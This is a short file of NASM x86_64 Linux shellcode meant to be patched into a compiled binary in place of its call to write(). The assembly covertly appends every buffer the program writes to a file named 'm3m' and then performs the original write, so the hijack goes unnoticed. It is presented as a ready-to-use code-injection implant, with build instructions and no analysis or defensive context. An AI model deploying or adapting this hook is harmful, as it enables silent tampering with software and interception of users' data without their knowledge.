sys_write log shellcode

sys_write_log.asm

;
; sys_write log shellcode for Linux x86_64-bits
; nasm -felf64 sys_write_log.asm -o sys_write_log.o
;
; 
; call write@lib <-| replace original (write) address in binary to
;      0x0FFFFFF <-| shellcode address offset into himself.
;

global _start
section .text
_start:
    jmp init
    message:    db  "patched", 0xa
    filepath:   db  "m3m", 0x0
init:
    ;ssize write(int __fd, char* __buf, int __n)
    mov r8, rdi                     ; save __fd
    mov r10, rsi                    ; save __buf
    mov r15, rdx                    ; save __n

    ; debug message (optional)
    mov rax, 0x1                    ; sys_write syscall
    mov rdi, rax                    ; 0x1 (stdout)
    lea rsi, [rel message]    
    mov rdx, 0x8
    syscall                 

    ; open log file
    mov rax, 0x2                    ; sys_open syscall
    lea rdi, [rel filepath]         ; pathname
    mov rsi, 02001Q                 ; O_WRONLY | O_APPEND
    mov rdx, 0644o                  ; 644
    syscall

    ; logging
    mov rdi, rax                    ; log fd recently create
    mov rax, 0x1                    ; sys_write syscall
    mov rsi, r10                    ; r10=__buf
    mov rdx, r15                    ; r15=__n
    syscall

    ; close log file
    mov rax, 0x3                    ; sys_close syscall
    syscall

    ; detour
    mov rax, 0x1                    ; sys_write syscall
    mov rdi, r8                     ; r8=__fd
    syscall
    
    ; return rax
    ret